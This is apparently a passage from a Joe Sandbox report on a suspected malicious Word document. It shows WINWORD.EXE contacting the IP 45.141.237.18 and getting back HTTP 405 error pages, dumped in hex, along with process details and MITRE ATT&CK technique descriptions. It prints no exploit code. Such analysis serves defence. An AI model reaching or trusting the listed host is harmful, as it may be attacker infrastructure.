2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 35 20 2d 20 48 54 54 50 20 76 65 72 62 20 75 73 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 70 61 67 65 20 69 73 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 54 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 63 61 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>405 - HTTP verb used to access this page is not allowed.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-container"><fieldset> <h2>405 - HTTP verb used to access this page is not allowed.</h2> <h3>The page you are looking for ca
Jul 15, 2022 15:19:28.054836988 CEST	5	IN	HTTP/1.1 405 Method Not Allowed Allow: GET, HEAD, OPTIONS, TRACE Content-Type: text/html Server: Microsoft-IIS/10.0 Date: Fri, 15 Jul 2022 13:19:28 GMT Content-Length: 1293 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 35 20 2d 20 48 54 54 50 20 76 65 72 62 20 75 73 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 70 61 67 65 20 69 73 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 35 20 2d 20 48 54 54 50 20 76 65 72 62 20 75 73 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 70 61 67 65 20 69 73 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 54 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 63 61 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>405 - HTTP verb used to access this page is not allowed.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-container"><fieldset> <h2>405 - HTTP verb used to access this page is not allowed.</h2> <h3>The page you are looking for ca
Jul 15, 2022 15:19:29.633644104 CEST	14	IN	HTTP/1.1 405 Method Not Allowed Allow: GET, HEAD, OPTIONS, TRACE Content-Type: text/html Server: Microsoft-IIS/10.0 Date: Fri, 15 Jul 2022 13:19:29 GMT Content-Length: 1293 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 35 20 2d 20 48 54 54 50 20 76 65 72 62 20 75 73 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 70 61 67 65 20 69 73 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 35 20 2d 20 48 54 54 50 20 76 65 72 62 20 75 73 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 70 61 67 65 20 69 73 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 54 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 63 61 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>405 - HTTP verb used to access this page is not allowed.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-container"><fieldset> <h2>405 - HTTP verb used to access this page is not allowed.</h2> <h3>The page you are looking for ca

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.22	49176	45.141.237.18	80	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Timestamp	kBytes transferred	Direction	Data
Jul 15, 2022 15:19:30.611392975 CEST	16	IN	HTTP/1.1 405 Method Not Allowed Allow: GET, HEAD, OPTIONS, TRACE Content-Type: text/html Server: Microsoft-IIS/10.0 Date: Fri, 15 Jul 2022 13:19:29 GMT Content-Length: 1293 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 35 20 2d 20 48 54 54 50 20 76 65 72 62 20 75 73 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 70 61 67 65 20 69 73 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 35 20 2d 20 48 54 54 50 20 76 65 72 62 20 75 73 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 70 61 67 65 20 69 73 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 54 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 63 61 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>405 - HTTP verb used to access this page is not allowed.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-container"><fieldset> <h2>405 - HTTP verb used to access this page is not allowed.</h2> <h3>The page you are looking for ca

Target ID:	0
Start time:	15:18:17
Start date:	15/07/2022
Path:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Imagebase:	0x13f6e0000
File size:	1423704 bytes
MD5 hash:	9EE74859D22DAE61F1750B3A1BACB6F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Disassembly

⊘No disassembly

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 20220714 DWG.doc

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

